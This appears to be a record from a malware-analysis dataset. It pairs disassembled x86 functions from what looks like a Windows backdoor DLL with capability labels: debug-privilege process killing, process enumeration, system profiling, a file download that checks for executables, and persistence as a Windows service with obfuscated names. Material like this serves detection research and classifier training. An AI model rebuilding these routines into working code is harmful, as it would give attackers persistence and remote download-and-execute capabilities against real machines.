joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100091b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x10009363
cmp dword [esi + 0x1c], edi
je 0x10009363
call fcn.10009770
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.100095b0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.100095b0
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x10009246
cmp dword [esp + 0x1c], 1
jne 0x10009246
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x10009233
inc edi
add eax, 4
cmp edi, 0x10
jl 0x10009226
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x10009242
or edi, 0xffffffff
mov eax, edi
jmp 0x10009249
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.100095b0
cmp byte [ebx], 2
jne 0x100092b1
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.100097b0
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.10009810
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001929c]
cmp ecx, eax
mov edi, edx
je 0x100092de
push edi
mov ecx, esi
call fcn.10009370
test al, al
je 0x100092de
add edi, 0x13
jmp 0x100092e1
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x100092ff
push edi
mov ecx, esi
call fcn.10009370
test al, al
je 0x100092f5
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x100092e6
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x1001929c], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1000934c
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1000933b
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x10009b40
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
push 0
push eax
mov dword [esi], 0x10013564
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x10009b93
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10009b9d
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10009ba7
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10009bb1
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.100078e0
pop edi
pop esi
ret

Function at 0x10009fd0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.1000a250
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000a027
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x10009ff8
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.1000a250
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.10009e40
mov ecx, edi
call fcn.10009e70
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000a060
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000a250
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000a0c4
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x7d
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a213
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000a200
cmp eax, 4
je 0x1000a200
cmp eax, 8
je 0x1000a200
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000a18b
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a0f9
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000a250
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x1000a2e0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000a250
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000a250
add esp, 8
ret
Function at 0x1000a490
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000a410
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000a510
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a57f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1000a55d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000a57f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000a555
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a568
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x1000a590
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000a5e2
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x1000a770
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000a7ba
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000a7ba
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000a7d7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000a7d7
call fcn.1000a5f0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000a590
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x1000a980
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.wINLOGON
mov esi, eax
call fcn.1000a930
add esp, 4
test eax, eax
jne 0x1000a9a3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000a9c7
push esi
call fcn.1000a8c0
add esp, 4
mov eax, 1
pop esi
ret

Function at 0x1000a9d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x1000aa13
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push connect
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x1000aa3d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x1000aacf
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x1000aa91
cmp word [esp + 0x24], 0x5a4d
jne 0x1000aab8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000aac0
jmp 0x1000aa65
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x1000b600
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret

Function at 0x1000b6a0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
xor eax, eax
push ebx
mov ebx, dword [esp + 0x410]
mov ecx, ebx
push esi
mov esi, dword [esp + 0x410]
mov edx, ecx
push edi
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x410]
lea ecx, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServices_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebx
push 0
push esi
push 1
lea edx, [esp + 0x2c]
push str.Host
push edx
push connect
call fcn.100079e0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x1000b724
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret

Function at 0x1000b740
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x240
push ebx
push esi
lea eax, [esp + 0x64]
push edi
push eax
mov byte [esp + 0x68], 0x66
mov byte [esp + 0x14a], 0
mov dword [esp + 0x6c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x250]
lea ecx, [esp + 0x14c]
push 0x100
push ecx
push edx
call fcn.1000b6a0
mov ebx, dword [esp + 0x260]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x14c]
mov dword [esp + 0x110], ecx
mov ecx, 0xc
lea edi, [esp + 0x114]
lea edx, [esp + 0x40]
rep movsd dword es:[edi], dword [esi]
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [esp + 0x54]
mov word [esp + 0x104], ax
call fcn.1000b600
lea ecx, [esp + 0x20]
mov dword [esp + 0x108], eax
push ecx
mov dword [esp + 0x24], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x28]
shr edx, 0x14
inc edx
mov dword [esp + 0x10c], edx
call fcn.1000b660
lea ecx, [esp + 0x64]
mov byte [esp + 0x146], al
mov eax, dword [esp + 0x258]
push 0xe8
push ecx
mov ecx, ebx
mov dword [esp + 0x150], eax
call fcn.10002260
pop edi
pop esi
pop ebx
add esp, 0x240
ret
Function at 0x1000bc80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x100192c8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x100192c8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000bc50
push 0x100192c8
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push 0
push 2
mov dword [0x100192bc], eax
call fcn.1000bbf0
push 0
push 0
push 4
call fcn.1000bbf0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000cac0
push 0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1000c590
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100176f4], eax
push 0
push 0
call fcn.1000b9d0
add esp, 8
push 0x3e8
call esi
jmp 0x1000bd16

Function at 0x1000bd30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x100192b8], eax
jne 0x1000bd4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push 0x10017778
push str.SofbpfJmsvwPfquj_fMbnf
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x100192b4], eax
jne 0x1000bd84
pop ecx
ret
mov edx, dword [0x100192b8]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x100192b4]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.SofbpfJmsvwPfquj_fGjpsobz
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bdc0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.SofbpfJmsvwPfquj_fMbnf
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], CancelIo
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000c000
Capabilities:
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
lea eax, [esp]
lea ecx, [esp + 8]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push connect
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str.PzpwfnQllw_EjofMbnf_iSD
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0xc]
push str.PzpwfnQllw_EjofMbnf_iSD
push 2
push 0
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret

Function at 0x1000c070
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x138
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c09f
xor eax, eax
add esp, 0x138
ret
push esi
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
push edx
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], 0x12c
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c137
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x148]
not ecx
dec ecx
push eax
mov esi, ecx
push 0x10017b08
and esi, 0xffff
lea edi, [esp + esi + 0x1d]
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ecx, [ecx + esi + 1]
jmp 0x1000c16d
mov edi, dword [esp + 0x148]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, dword [esp + 8]
push ecx
lea ecx, [esp + 0x18]
push ecx
push 7
push 0
push str.imgsvc
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x138
ret